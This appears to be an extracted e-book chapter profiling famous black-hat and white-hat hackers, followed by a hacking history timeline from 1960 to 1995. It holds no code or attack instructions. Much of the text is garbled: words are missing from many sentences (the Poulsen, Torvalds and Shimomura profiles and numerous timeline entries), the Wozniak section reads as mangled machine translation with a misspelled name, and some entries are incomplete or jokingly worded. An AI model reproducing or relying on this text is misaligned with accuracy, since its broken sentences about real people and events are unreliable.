What can hackers do to our PC? Are they really can break our security? The portrayal of hackers in the media has rangedfrom the high-tech super-spy, as in Mission Impossible where Ethan Hunt repels from the ceiling to hack the CIA computersystem and steal the "NOC list,” to th e lonely anti-social teen who is simply looking for entertainment.

Black Hat Hackers -

A black hat hacker, also known as a cracker is a direct reference to the StarWars movies and the dark side of the criminal intent. Some examples are:cracking bank accounts in order to make stealing information to be sold in the blackmarket, or attacking the computer network

1) Jonathan James

James cracked into NASA computers, stealing software worth approximately $1.7 million. According to the Department ofJustice, "The software supported the International Space Station’s physical environment, including contr ol of thetemperature and humidity within the living space.” NASA was forced to shut down its computer systems, ultimatelyracking up a $41,000 cost. James explained that he downloaded the code to supplement his studies on C programming,but contended,” The code itself was crappy . . . certainly not worth $1.7 million like they claimed.”

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2) Adrian Lamo

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Adrian Lamo around computers as a very young child. He had a Commodore 64 when he was like 6 or so. And his firstinterest in seeing how things worked be hind the scenes wasn’t all about technology necessarily, and his interest in whatyou might call hacking isn’t really primarily about technology…He said” It’s not sexy when I’m exploring less obviousaspects of the world that don’t involve multibillion -dol lar corporations. There’s a certain amount of tunnel vision there.”Last year, Lamo earned the disapproval of his probation officer in the closing months of his two year probation term whenhe refused to provide a blood sample DNA Index System, or CODIS, wascreated to catalog violent criminals and Act expanded the system toinclude samples from all newly convicted white-collar criminals.

3) Kevin Mitnick

Kevin David Mitnick (born August 6, 1963) is a computer security consultant and author. In the late 20th century, he wasconvicted of various computer- and communications-related crimes. At the time of his arrest, he was world-famous as themost-wanted computer criminal in the United States.Mitnick gained unauthorized access to his first computer network in1979, at 16, when a friend gave him the phone number for the Ark, the computer system Digital Equipment Corporation(DEC) used for developing their RSTS/E operating system software. He broke into DEC’s computer network and copiedDEC’s software, a crime he was charged with and convicted of in 1988. He was sentenced to 12 months in prison followedby three years of supervised release. Near the end of his supervised release, Mitnick hacked into Pacific Bell voice mailcomputers.

After a warrant was issued for his arrest, Mitnick fled, becoming a fugitive for two and a half years. According to the U.S.Department of Justice, Mitnick gained unauthorized access to dozens of computer networks while he was a fugitive. Heused cloned cellular phones to hide his location and, among other things, copied valuable proprietary software from someof the country’s largest cellular tel ephone and computer companies. Mitnick also intercepted and stole computerpasswords, altered computer networks, and broke into and read private e-mail. Mitnick was apprehended in February1995 in North Carolina. He was found with cloned cellular phones, more than 100 clone cellular phone codes, andmultiple pieces of false identification.

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4) Kevin Poulsen

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Kevin Poulsen was among the most accomplished, multi-talented hackers. He worked for SRI International by day, andhacked at night under the handle " Dark Dante”. He trained to be the complete hacker, and even taught himself lockpicking. Among other things, Poulsen reactivated old Yellow Page numbers for an acquaintance thatthen ran a virtual agency. When the FBI started pursuing Poulsen, underground as a fugitive. When he wasfeatured on NBC’s Unsolved Mysteries, the show’s 1 -800 telephone mysteriously crashed. He was finally arrested inFebruary, 1995.

Poulsen’s best known hack was a takeover of all of the telephone Angeles radio station KIIS-FM, guaranteeingthat he would be the 102nd caller, and winning a Porsche 944 Poulsen pleaded guilty to seven counts ofmail, wire and computer fraud, money laundering, and obstruction was sentenced to 51 months in prisonand ordered to pay $56,000 in restitution. It was the longest sentence ever given for hacking up to that time. He also laterpleaded guilty to breaking into computers and obtaining information on undercover businesses run by the FBI.

5) Robert Tappan Morris

Morris, son of former National Security Agency scientist Robert Morris, is known as the creator of the Morris Worm, thefirst computer worm to be unleashed on the Internet. As a result of this crime, he was the first person prosecuted underthe 1986 Computer Fraud and Abuse Act. Morris wrote the code for the worm while he was a student at Cornell. Heasserts that he intended to use it to see how large the Internet was. The worm, however, replicated itself excessively,slowing computers down so that they were no longer usable. It is not possible to know exactly how many computers wereaffected, but experts estimate an impact of 6,000 machines. He was sentenced to three years’ probation, 400 hours ofcommunity service and a fined $10,500.

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Now we have. .

White Hat Hackers –

White hat hackers, also known as ethical hackers, or white knights, are computer security experts, who specialize inpenetration testing, and other testing methodologies, to ensure that a compa ny’s information systems are secure. Suchpeople are employed by companies where these professionals are sometimes called "sneakers.” Groups of these peopleare often called tiger teams or red teams. These security experts may utilize a variety of methods to carry out their tests,including social engineering tactics, use of hacking tools, and attempts to evade security to gain entry into secured areas.

1) Stephen Wazniak

Stephen Wazniak, one of the founders when a younghacker could twiddle the phone system prank wouldturn into an international incident. Steve Wozniak got the first inspirations by its father Jerry, which worked as anengineer at Lockheed, and by the fiktionalen miracle boy Tom Swift. Its father stuck on it with the fascination forelectronics and examined frequently the inventions of its son. Tom Swift was on the other hand for it the product ofcreative liberty, scientific knowledge and the ability to find problem solutions. Tom Swift showed it also the large prices,which expected him as inventors. Until Wozniak returns to the world from Tom Swift and reads out the books to itsown children, in order to inspire it.

2) Tim Berners-Lee

Berners-Lee is famed as the inventor of the World Wide Web, the system that we use to access sites, documents and fileson the Internet. He has received numerous recognitions, most notably the Millennium Technology Prize. While workingwith CERN, a European nuclear research organization, Berners-Lee created a hypertext prototype system that helpedresearchers share and update information easily. He later realized that hypertext could be joined with the Internet.Berners-Lee recounts how he put them together: "I just had to take the hypertext idea and connect it to the TCP and DNS

ideas and "ta-da! ” the World Wide Web . ”

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Since his creation of the World Wide Web, Berners-Lee founded the World Wide Web Consortium at MIT. The W3Cdescribes itself as "an international consortium where Member organizations, a full-time staff and the public worktogether to develop Web standards.” Berners - Lee’s World Wide Web idea, as well as standards from the W3C, isdistributed freely with no patent or royalties due.

3) Linus Torvalds

In 1991 Linus Torvalds was a college student at the University of Helsinki. Starting with the basics of a UNIX system, hewrote the kernel — original code — for a new system for his x86 dubbed Linux (pronounced linn-ucks).Torvalds revealed the original source code for free — making among programmers — and users aroundthe world began making additions and now continue to tweak considered the leader in the practice of allowingusers to re-program their own operating systems. Currently, Torvalds Linux ringleader, coordinating thecode that volunteer programmers contribute to the kernel. He named after him and receivedhonorary doctorates fro m Stockholm University and University also featured in Time Magazine’s "60Years of Heroes.”

4) Richard Stallman

Richard Matthew Stallman (born March 16, 1953), often abbreviated "rms”,*1+ is an American software freedom activist,and computer programmer. In September 1983, he launched the GNU Project to create a free Unix-like operating system,and has been the project’s lead architect and organizer. With the launch of the GNU Project, he initiated the free softwaremovement and, in O ctober 1985, set up the Free Software Foundation. Stallman’s life continues to revolve around thepromotion of free software. He works against movements like Digital Rights Management (or as he prefers, DigitalRestrictions Management) through organizations like Free Software Foundation and League for Programming Freedom.He has received extensive recognition for his work, including awards, fellowships and four honorary doctorates.

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5) Tsutomu Shimomura

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Shimomura reached fame in an unfortunate manner: he was hacked by Kevin Mitnick. Following this personal attack, hemade it his cause to help the FBI capture him. Shimomura’s work to catch Mitnick is commendable, but he is not withouthis own dark side. Author Bruce Sterling recalls: "He pulls out this AT&T cellphone, pulls it out of the shrinkwrap, finger-hacks it, and starts monitoring phone calls going up and down Capitol Hill FBI agent is standing at his shoulder,

listening to him. ” Shimomura out - hacked Mitnick to bring him down after finding ou t about the intrusion, he

rallied a team and got to work finding Mitnick. Using Mitnick’s they tracked him near Raleigh -DurhamInternational Airport.

The article, "SDSC Computer Experts Help FBI Capture Computer recounts how Shimomura pinpointed Mitnick’slocation. Armed with a technician from the phone company, Shimomura "used a cellular frequency direction-findingantenna hooked up to a laptop to narrow the search to an apartment complex.” Mitnick was arrested shortly ther eafter.Following the pursuit, Shimomura wrote a book about the incident with journalist John Markoff, which was later turnedinto a movie.

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50. The complete History of hacking

Maybe not the complete history but a valid attempt. A complete hacker history willnever be obtainable since so much of the history is fragmented, unfounded andunreported.This will not be a complete list but a work in progress.

1960s

[1960 Nov] Telephone calls are switched for the first time by computer.

[1963] Dartmouth College , located in Hanover, New Hampshire, incorporates the introduction to the use of computers asa regular part of the Liberal Arts program.

[1963] ASCII (American Standard Code for Information Interchange) is created, permitting machines differentmanufacturers to exchange data. ASCII consists of 128 unique strings of ones and zeros.

[1964] There are approximately 18,200 computer systems in the United States. Over 70% of those computers weremanufactured by International Business Machines (IBM).

[1964] Thomas Kurtz and John Kemeny created BASIC (Beginner's All-Purpose Symbolic Instruction Code), an easy- tolearnprogramming language, for their students at Dartmouth College.

[1967] The Advanced Research Projects Agency (ARPA) work with U.S. computer experts to form a network of InterfaceMessage Processors (IMPS). The computers would act as gateways mainframes at a variety of institutions in theUnited States and provide a major part of what would become in the years ahead.

[1969] The Advanced Research Projects Agency (ARPA) originates , a service designed to provide efficientways to communicate for scientists. A Cambridge, Massachusetts consulting firm, Bolt Beranek and Newman , who wona ARPA contract to design and build a network of Interface Message Processors (IMPS) the year prior, ships (Sept) thefirst unit to UCLA and ships (Oct) the second unit to Stanford Research Institute . IMPS act as gateways to mainframes ata variety of institutions in the United States. Within a few days of delivery, the machine at UCLA and Stanford link up forthe first time and ARPANET is founded. network expands to four nodes. The first four nodes (networks)consisted of the, University of California Angeles , University of California Santa Barbara , University of Utah and the Stanford Research Institute . This system evolve to be known as the Internet or the Information Super Highway.

[1969] Intel makes the announcement of a much larger RAM chip. It boasts of a 1KB capacity.

[1969] Ken L. Thompson , Dennis M. Ritchie and others start working on the UNIX operating system at Bell Labs (laterAT&T). UNIX was designed with the goal of allowing several users to access the computer simultaneously.

[1969] The first computer hackers emerge at MIT . They borrow their name from a term to describe members of a modeltrain group at the school who "hack" the electric trains, tracks, and switches to make them perform faster and differently.A few of the members transfer their curiosity and rigging skills to the new mainframe computing systems being studiedand developed on campus.

[1969] Joe Engressia ('The Whistler', 'Joybubbles' and 'High Rise Joe') considered the father of phreaking. Joe, who isblind, was a mathematics student at USF in the late 1960s when he discovered that he could whistle into a paytelephone the precise pitch -- the 2600- cycle note , close to a high A- - that would trip phone circuits and allow him tomake long-distance calls at no cost.

1970s

[1970] An estimated 100,000 computer systems are in use in the United States.

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[1970] Digital Equipment Corporation (DEC) introduces the famous PDP- 11 , which is considered to be one of the bestdesigned minicomputers ever, and many of the machines are still used today. Some of the best computer hackers in theworld cut their teeth on -11's.

[1971] The first personal computer, the Kenback , is advertised in the September issue of Scientific American .

[1971] John Draper ('Cap'n Crunch') learns that a toy whistle given away inside Cap'n Crunch cereal generates a 2600-hertz signal , the same high-pitched tone that accesses AT&T's long-distance switching system. Draper builds a blue box that, when used in conjunction with the whistle and sounded into a phone receiver, allows phreakers to make free calls.

[1971] Esquire magazine publishes Secrets of the Little Blue Box with instructions for making a blue box , and wire fraudin the United States escalates. Among the perpetrators: college kids Steve Wozniak and Steve Jobs , future founders ofApple Computer, who launch a home industry making and selling blue boxes .

[1971] First e-mail program written by Ray Tomlinson and used on ARPANET which now has 64 nodes. Tomlinson of Bolt Beranek and Newman , contracted by the Advanced Research Projects Agency (ARPA) to create ARPANET ,selects the @ symbol to separate user names in e-mail as the first e-mail messages are sent between computers.

[1972 May] John Draper arrested for phone phreaking and sentenced to four months in California's Lompoc prison.

[1973] Intel ’ s chairman, Gordon Moore , publicly reveals the prophecy that the number of transistors on a microchip willdouble every year and a half. Moore ’s Law will hold true for more than twenty years.

[1975] About 13,000 cash dispensing Automatic Teller Machines (ATM) installed.

[1975] Atari, Inc. ’s home version of PONG begins selling at 900 Roebuck stores under the Sears ’ Telegames brand.

[1975 Aug] William Henry Gates , III (Bill Gates) and Paul Allen Microsoft .

[1976] David R. Boggs and Robert M. Metcalfe invent Ethernet at Xerox in Palo Alto, California.

[1976 Apr] Stephen Wozniak , Steven Paul Jobs and Ron Wayne sign an agreement that founds Apple Computer on April1.

[1977 Aug 3] The TRS- 80 ('Trash- 80') offered to the public and becomes the first desktop computer.

[1977 Dec] The Atari 2600 is selling for $199.95 and includes one game and two controllers.

[1978] Bill Joy produces first Berkeley Software Distribution (BSD) of UNIX.

[1978] There are an estimated 5,000 desktop computers in use within the United States.

[1978] Kevin David Mitnick ('Condor') meets phone phreak Lewis De Payne ('Roscoe') of Roscoe gang while harassing a HAM radio operator on the air in Southern California.

[1979] The C Programming Language by Brian W. Kernighan and Dennis M. Ritchie is published.

[1979 Jun] The Apple II+ with 48K RAM and a new “auto - start” ROM is introduced by Apple Computer for $1,195.

1980s

[1980] There is an estimated 350,000 computer terminals "networked" with larger "host" computers.

[1980] Nintendo, Ltd. releases Donkey Kong as a coin-operated arcade game.

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[1980] Usenet is born, networking UNIX machines over slow phone lines. Usenet eventually overruns ARPANET as thevirtual bulletin board of choice for the emerging hacker nation.

[1980 Dec] Roscoe Gang, including Kevin Mitnick , invade computer system at US Leasing.

[1981] Kenji Urada, 37, becomes the first reported death caused by a robot. A self-propelled robotic cart crushed him ashe was trying to repair it in a Japanese factory. :-)

[1981] Commodore Business Machines starts shipping the VIC- 20 home computer. It features a 6502 microprocessor, 8colors and a 61-key keyboard. Screen columns are limited to 22 characters. The product is manufactured in WestGermany and sells in the U.S. for just under $300.

[1981 Jul] Microsoft acquires complete rights to Seattle Computer Product ’ s DOS and names it MS-DOS .

[1981] Ian Murphy ('Captain Zap') was the first hacker to be tried and convicted as a felon. Murphy into AT&T's computers and changed the internal clocks that metered billing rates. People were getting late-night discount rates whenthey called at midday.

[1981 May 23] Kevin Mitnick , 17, is arrested for stealing computer manuals from Pacific Bell's switching center in LosAngeles, California. He will be prosecuted as a juvenile and sentenced to probation.

[1981 May 28] First mention of Microsoft on Usenet.

[1982] There are an estimated 3 million computer terminals "networked" larger "host" computers. Also, there are anestimated number of 5 million desktop computers in use within the United More than 100 companies makepersonal computers.

[1982] Sun Microsystems , Inc. is founded by four 27-year-old Andreas von Bechtolsheim , Vinod Khosla , ScottMcNealy and Bill Joy .

[1982] As hacker culture begins to erode, losing some of its brightest minds to commercial PC and software start-ups, Richard Stallman starts to develop a free clone of UNIX, written in C, that he calls GNU (for Gnu's Not Unix).

[1982] Lewis De Payne ('Roscoe') pleas conspiracy and fraud. Sentence: 150 days in jail. Accomplice getsthirty. Mitnick gets ninety day diagnostic by juvenile justice system, plus a year probation.

[1982] Kevin Mitnick cracks Pacific Telephone system and TRW ; destroys data.

[1982] William Gibson coins term "cyberspace."

[1982] '414 Gang' phreakers raided. '414 Private' BBS was where the '414 Gang' would exchange information whilebreaking into systems of Sloan- Kettering Cancer Center and Los Alamos military computers.

[1982 Aug] Commodore ships the Commodore 64 computer and enters more than one million homes during this firstyear. The C-64 was the first home computer with a standard 64K RAM. With an suggested retail price of $595, it wasconsidered a huge value. It included a keyboard, CPU, graphics and sound chips.

[1982 Sep 19] Scott E. Fahlman typed the first on- line smiley, :-)

[1983] The Internet is formed when ARPANET is split into military and civilian sections.

[1983] The movie WarGames is released, Matthew Broderick plays a computer whiz kid who inadvertently initiates thecountdown to World War III.

[1983] Plovernet BBS (Bulletin Board System) was a powerful East Coast pirate board that operated in both New Yorkand Florida. Owned and operated by teenage hacker 'Quasi Moto', Plovernet attracted five hundred eager users in 1983.

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Eric Corley ('Emmanuel Goldstein') was one- time co-sysop of Plovernet, along with 'Lex Luthor', who would later foundthe phreaker/hacker group, Legion of Doom.

[1983 Sep 22] Kevin Poulsen ('Dark Dante') and Ron Austin are arrested for breaking into the ARPANET . At 17 Poulsenis not prosecuted and Austin receives 3 years probation.

[1983 Sep 27] Richard Stallman makes the first Usenet announcement about GNU.

[1983 Nov 12] First mention of Microsoft Windows on Usenet.

[1984] Andrew Tanenbaum writes the first version of Minix, a UNIX intended for educational purposes. Minix later gave Linus Torvalds the inspiration to start writing Linux .

[1984] The University of California at Berkeley released version 4.2BSD which included a complete implementation ofthe TCP/IP networking protocols. Systems based on this and later BSD releases provided a multi-vendor networkingcapability based on Ethernet networking.

[1984] Bill Landreth ('The Cracker') is convicted of breaking into some of the most secure computer systems in theUnited States, including GTE Telemail's electronic mail network, where he peeped at NASA Department of Defensecomputer correspondence. In 1987 Bill violated his probation and was back in jail finishing his sentence. Bill alsoauthored an interesting read titled ' Out of the Inner Circle '.

[1984] Legion of Doom formed. Legion of Doom, a hacker group which operated the United States in the late 1980's. The group's wide ranging activities included diversion of telephone networks, copying proprietary information from companies and distributing hacking tutorials. Members included: 'Lex Luther' (founder), Chris Goggans ('Erik Bloodaxe'), Mark Abene ('Phiber Optik'), Adam Grant ('The Urvile'), Franklin ('The Leftist'), Robert Riggs ('The Prophet'), Loyd Blankenship ('The Mentor'), Todd Lawrence ('The Marauder), Chasin ('Doc Holiday'), Bruce Fancher ('Death Lord'), Patrick K. Kroupa ('Lord Digital'), James Salsman ('Karl Marx'), G. Steinberg ('Frank Drake'), Corey A. Lindsly ('Mark Tabas'), 'Agrajag The Prolonged', 'King Blotto', 'Blue 'The Dragyn', 'Unknown Soldier', 'Sharp Razor', 'Doctor Who', 'Paul Muad'Dib', 'Phucked Agent 04', 'X-man', 'Randy Smith', 'Steve Dahl, 'The Warlock', 'Terminal Man', 'Silver Spy', 'The Videosmith', 'Kerrang Khan', 'Gary Seven', 'Bill From RNOC', 'Carrier Culprit', 'Master of Impact', 'Phantom Phreaker', 'Doom Prophet', 'Thomas Covenant', 'Phase Jitter', 'Prime Suspect', 'Skinny Puppy' and 'Professor Falken'.

[1984] 2600: The Hacker Quarterly founded Eric Corley ('Emmanuel Goldstein').

[1984 Jun 19] The X Window System by Robert W. Scheifler.

[1985] Hacker 'zine Phrack is first published by Craig Neidorf ('Knight Lightning') and Randy Tischler ('Taran King').

[1985 May 24] Date of incorporation under original founding name, Quantum Computer Services ( America Online ).

[1986] The Congress passes Computer Fraud and Abuse Act . The law, however, does not cover juveniles.

[1986] The german hacker group, Chaos Computer Club , hacked information about the german Nuclear Power Programfrom government computers during the Chernobyl crisis.

[1986 Jan 8] Legion of Doom/H member Loyd Blankenship ('The Mentor') is arrested around this time. He publishes anow- famous treatise that comes to be known as the Hacker's Manifesto .

[1986 Feb 26] The Phoenix Fortress BBS issues warrants for the arrest and confiscation of the equpment of 7 localusers in Fremont, CA. The Sysop turns out to be a local law enforcement agent and the Phoenix Fortress created tocatch hackers and software pirates.

[1986 Sep 1] An unknown suspect or group of suspects using the code name Pink Floyd repeatedly accessed the UNIXand Portia computer systems at Stanford University without authorization. Damage was estimated at $10,000.

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[1986 Aug] In August, while following up a 75 cent accounting error in the computer logs at the Lawrence Berkeley Lab at the University of California, Berkeley, network manager Clifford Stoll uncovers evidence of hackers at work. A yearlonginvestigation results in the arrest of the five german hackers responsible.

[1987 Sep 14] It's disclosed publicly that young german computer hackers calling themselves the Data Travellers,managed to break into NASA network computers and other world-wide top secret computer installations.

[1987 Nov 23] Chaos Computer Club hacks NASA's SPAN network.

[1987 Dec] Kevin Mitnick invades systems at Santa Cruz Operation . Mitnick sentenced to probabtion for stealingsoftware from SCO, after he cooperates by telling SCO engineers how he got into their systems.

[1988 Jun] The U.S. Secret Service (USSS) secretly videotapes the SummerCon hacker convention.

[1988 Nov 2] Robert T. Morris, Jr. , a graduate student at Cornell University and son of a chief scientist division of the National Security Agency (NSA), launches a self- replicating worm on the government's ARPANET (precursor to theInternet) to test its effect on UNIX systems. The worm gets out of hand and spreads to some 6,000 networkedcomputers, clogging government and university systems. Morris is dismissed from Cornell, sentenced to three yearsprobation and fined $10,000.

[1988 Nov 3] First mention of the Morris worm on Usenet.

[1988 Dec] Legion of Doom hacker Robert Riggs ('The Prophet') cracks BellSouth AIMSX computer network and downloads E911 document (describes how the 911 emergency phone system works). Riggs sends a copy to Phrack editor Craig Neidorf ('Knight Lightning'). Both Craig and Robert are raided Federal authorities and later indicted. The indictment said the "computerized text file" was worth $79,449, BellSouth security official testified at trial it was worth $24,639. The trial began on July 23, 1990 but the proceedings unexpectedly ended when the government asked the court to dismiss all the charges when it was discovered that could call a toll- free number and purchase the same E911 document for less than $20.

[1988 Dec 16] 25-year-old computer hacker Kevin Mitnick is held without bail on charges that include stealing $1 millionin software from DEC (Digital Equipment Corporation), including VMS source code, and causing that firm $4 million indamages.

[1989] 22-year-old computer hacker member Corey Lindsly ('Mark Tabas') pleaded guilty to felony chargesrelating to using a computer to access system illegally, which resulted in five years probation. [see also 1995Feb. 'Phonemasters']

[1989] At the Cern laboratory for research in high-energy physics in Geneva, Tim Berners- Lee and Robert Cailliau develop the protocols that will become the world wide web.

[1989 Jan 23] Herbert Zinn ('Shadowhawk'), a high school dropout, was the first to be convicted (as a juvenile) under the Computer Fraud and Abuse Act of 1986 . Zinn was 16 when he managed to break into AT&T and Department of Defensesystems. He was convicted on January 23, 1989, of destroying $174,000 worth of files, copying programs valued atmillions of dollars, and publishing passwords and instructions on how to violate computer security systems. Zinn wassentenced to nine months in prison and fined $10,000.

[1989 May] A task force in Chicago raids and arrests an alleged computer hacker known as 'Kyrie'.

[1989 Jun] An underground group of hackers known as the NuPrometheus League distributes proprietary softwareillegally obtained from Apple Computer .

[1989 Jul 21] Known as the "Atlanta Three" case, 3 members of the LOD/H (Legion of Doom) where charged with hackinginto Bell South's Telephone (including 911) Networks - possessing proprietary BellSouth software and Information,unauthorized intrusion, illegal possession of phone credit card numbers with intent to defraud, and Conspiracy. The threehackers where: Franklin Darden ('The Leftist'), Adam Grant ('The Urvile' and 'Necron 99'), Robert Riggs ('The Prophet').

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[1989 Jun 22] 'Fry Guy', a 16-year-old in Elmwood, Indiana cracks into McDonald's mainframe on the Sprint Telenetsystem. One act involved the young hacker altering phone switches so that calls to a Florida county probationdepartment would ring at a New York phone- sex line answered by "Tina." On September 14 1990, he was sentenced toforty- four months probation and four hundred hours community service.

1990s

[1990] Electronic Frontier Foundation is formed by Mitch Kapor and John Perry Barlow in part to defend the rights ofthose investigated for alleged computer hacking.

[1990] Kevin Poulsen's now- infamous incident with KIIS-FM in Los Angeles. In 1990 the station ran the "Win a Porscheby Friday" contest, with a $50,000 Porsche given to the 102nd caller. Kevin and his associates, stationed at theircomputers, seized control of the station's 25 telephone lines, blocking out all calls but their own. Then he dialed the102nd call -- and later collected his Porsche 944.

[1990 Jan 15] AT&T's long-distance telephone switching system crashed. During the nine long hours frantic effort thatit took to restore service, some seventy million telephone calls went uncompleted. Hackers where first suspected ofcausing the crash but later AT&T engineers discovered the "culprit" was a bug in AT&T's own software.

[1990 Jan 18] Chicago task force raids an alleged computer hacker Craig Neidorf ('Knight Lightning') in St. Louis.

[1990 Feb] U.S. Secret Service raid an alleged computer hacker Len Rose ('Terminus') in Maryland. Len somehow gothis hands on System V 3.2 AT&T Unix Source Code, including the source

[1990 Feb 21] Chicago Task Force raids the home of Robert Izenberg, an computer hacker in Austin.

[1990 Mar 1] Chicago task force raids Steve Jackson Games, Inc. Reportedly, workers Loyd Blankenship ('The Mentor') and Chris Goggans ('Erik Bloodaxe'), had ties to a hacker group (LOD) Justice Department was investigating.Finding a rulebook to a game called G.U.R.P.S. CYBERPUNK , raiders interpreted the findings as a tutorial on computerhacking and proceeded to seize equipment and documents found at the site. Steve Jackson Games, Inc. prevailed in anensuing legal battle, however their equipment was never returned in its entirety.

[1990 May 7] May 7 through Wednesday, May 9, the United States Secret Service and the Arizona Organized Crime andRacketeering Bureau implement Operation Sundevil computer hacker raids in Cincinnati, Detroit, Los Angeles, Miami,Newark, Phoenix, Pittsburgh, Richmond, San Diego, San Jose and San Francisco.

[1990 Mar 7] A 24 year-old Denver man, Richard G. Wittman Jr., has admitted breaking into a NASA computer system.In a plea bargain, Wittman plead guilty to a single count of altering information - a password inside a federal computer.

[1990 Apr] Between April 1990 and May 1991, computer hackers from the Netherlands penetrated 34 DOD sites . Atmany of the sites, the hackers had access to unclassified, sensitive information on such topics as military personnel- -personnel performance reports, travel information, and personnel reductions; logistics- -descriptions of the type andquantity of equipment being moved; and weapons systems development data.

[1990 May] At least four British clearing banks are being blackmailed by a mysterious group of computer hackers whohave broken into their central computer systems. The hackers demanded substantial sums of money in return for showingthe banks how their systems where penetrated. One computer expert described their level of expertise and knowledge ofthe clearing bank computer systems as "truly frightening".

[1991] The Internet, having been established to link the military and educational institutions banned access to businesses.That ban is lifted this year.

[1991] Rumors circulate about the Michelangelo virus , a program expected to crash computers on March 6, 1992, theartist's 517th birthday. Doomsday passes without much incident.

[1991 Feb] DOS version of AOL released.

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[1991 Apr 11] Kevin Poulsen ('Dark Dante') arrested for breaking into Pacific Bell phone systems.

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[1991 Jul] Justin Petersen ('Agent Steal' and 'Eric Heinz') arrested for breaking into TRW , stealing credit cards.

[1991 Aug 6] Tim Berners- Lee's Usenet announcement of the World Wide Web project.

[1991 Sep] Justin Petersen released from prison to help FBI track hacker Kevin Mitnick .

[1991 Sep 17] Linus Torvalds publicly releases Linux version 0.01. While a computer science student at the University ofHelsinki Linus created the Linux operating. Linus originally named his operating system Freax.

[1991 Oct 5] Linus Torvalds decides to announce the availability of a free minix- like kernel called Linux on Usenet.

[1992] Masters of Deception (MOD) phone phreakers busted via wiretaps.

[1992] Morty Rosenfeld convicted after hacking into TRW , stealing credit card numbers and selling reports.

[1992 Jan 29] Minix creator, Andy Tanenbaum , posts the infamous LINUX is obsolete newsgroup posting oncomp.os.minix. Later, Linux creator Linus Torvalds quickly responds to the posting.

[1992 Nov] Kevin Mitnick cracks into California Department of Motor Vehicles .

[1993 Mar 1] Microsoft releases Windows NT .

[1993 Jun] Slackware , by Patrick Volkerding , becomes the first commercial standalone distribution of Linux .

[1993 Jul 9] The first Def Con hacking conference takes place in The conference is meant to be a one- timeparty to say good- bye to BBSs (now replaced by the Web), but gathering is so popular it becomes an annual event.

[1993 Aug] Justin Petersen arrested for stealing computer access equipment.

[1993 Oct 28] Randal Schwartz uses Crack at Intel to crack passwords, later found guilty under an Oregon computercrime law, and sentenced.

[1993 Dec] FreeBSD version 1.0 is released.

[1994] Red Hat is founded.

[1994] Linux 1.0 is released.

[1994 Jan 12] Mark Abene ('Phiber Optik') starts his one year sentence. As a founding member of the Masters ofDeception , Mark inspired thousands of teenagers around the country to "study" the internal workings of our nation'sphone system. A federal judge attempted to "send a message" to other hackers by sentencing Mark to a year in federalprison, but the message got garbled: Hundreds of well-wishers attended a welcome- home party in Mark's honor at aManhattan Club. Soon after, New York magazine dubbed him one of the city's 100 smartest people. Other MODmembers: Elias Ladopoulos ('Acid Phreak'), Paul Stira ('Scorpion'), John Lee ('Corrupt'), Allen Wilson ('Wing'), 'TheSeeker', 'HAC', 'Red Knight', 'Lord Micro' and Julio Fernandez ('Outlaw').

[1994 Mar 23] 16-year-old music student Richard Pryce ('Datastream Cowboy') is arrested and charged with breakinginto hundreds of computers including those at the Griffiths Air Force base, NASA and the Korean Atomic ResearchInstitute . The Times of London reported that knowing he was about to be arrested, Richard "curled up on the floor andcried." Pryce later pled guilty to 12 hacking offenses and fined $1,800. Later, Matthew Bevan ('Kuji'), mentor to Prycewas finally tracked down and arrested. The charges against Bevan were later dropped and now he works as a computersecurity consultant.

[1994 Jun 13] Vladimir Levin , a 23-year-old, led a Russian hacker group in the first publicly revealed international bank

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robbery over a network. Stealing around 10 million dollars from Citibank , which claims to have recovered all but$400,000 of the money. Levin was later caught and sentenced to 3 years in prison.

[1994 Aug] Justin Petersen electronically steals $150k from Heller Financial.

[1994 Sep] Netcom's (bought by MindSpring, MindSpring then bought by Earthlink) credit card database was on- line andaccessible to the unauthorized.

[1994 Dec 25] Kevin Mitnick (supposedly) cracks into Tsutomu Shimomura's computers. Mitnick was first suspected ofhacking into Tsutomu's computers in 1994 but an unknown Israeli hacker (friend to Mitnick) was later suspected. TheIsraeli hacker was thought to be looking for the Oki cell phone disassembler written by Shimomura and wanted byMitnick.

[1995 Jan 27] Kevin Mitnick cracks into the Well ; puts Shimomura's files and Netcom (bought by MindSpring, MindSpringthen bought by Earthlink) credit card numbers there.[1995 Feb] Ex-LOD member, Corey Lindsly ('Mark Tabas') was the major ringleader in a computer organization,known as the 'Phonemasters', whose ultimate goal was to own the telecommunications infrastructure coast-tocoast.The group penetrated the systems of AT&T , British Telecom ., GTE , MCI WorldCom , Sprint , Southwestern Bell and systems owned by state and federal governmental agencies, to include the National Crime Information Center(NCIC) computer. They broke into credit- reporting databases belonging to Equifax Inc. and TRW Inc . They entered Nexis/Lexis databases and systems of Dun & Bradstreet . They had access to portions of the national power grid, airtraffic-control systems and had hacked their way into a digital cache of unpublished phone numbers at the White House .A federal court granted the FBI permission to use the first ever "data tap" monitor the hacker's activities. Thesehackers organized their assaults on the computers through teleconferencing utilized the encryption program PGP tohide the data which they traded with each other. On Sep. 16 1999 Lindsly, age 32, of Portland, Oregon, wassentenced to forty-one months imprisonment and ordered to to the victim corporations. Other'Phonemasters' members: John Bosanac ('Gatsby') from San Diego, Cantrell ('Zibby') and Brian Jaynes bothlocated in Dallas, Rudy Lombardi ('Bro') in Canada, Thomas Gurtler Calvin Cantrell, age 30, of Grand Prairie,Texas, was sentenced to two years imprisonment and ordered to pay $10,000 to the victim corporations. John Bosanacgot 18 months.

[1995 Feb 15] Kevin Mitnick arrested and charged with obtaining unauthorized access to computers belonging tonumerous computer software and computer operating systems manufacturers, cellular telephone manufacturers,InternetService Providers, and educational institutions; and stealing, copying, and misappropriating proprietary computersoftware from Motorola , Fujitsu , Nokia Novell , and NEC . Mitnick was also in possession of 20,000 credit cardnumbers.

[1995 Mar 18] SATAN (Security Administrator Tool for Analyzing Networks) security tool released to the Internet by DanFarmer and Wietse Venema . The release stirs huge debate about security auditing tools being given to the public.

[1995 May 5] Chris Lamprecht ('Minor Threat') becomes 1st person banned from Internet. Chris was sentenced for anumber of crimes to which he pled guilty. The crimes involved the theft and sale of Southwestern Bell circuit boards. Inthe early 1990s Chris wrote a program called ToneLoc (Tone Locator), a phone dialing program modeled on the programMatthew Broderick used in the movie WarGames to find open modem lines in telephone exchanges.

[1995 Aug 16] French student Damien Doligez cracks 40-bit RC4 encryption. The challenge presented the encrypteddata of a Netscape session, using the default exportable mode, 40-bit RC4 encryption. Doligez broke the code in eightdays using 112 workstations.

[1995 Sep 11] 22-year-old Golle Cushing ('Alpha Bits') arrested for selling credit card and cell phone info.

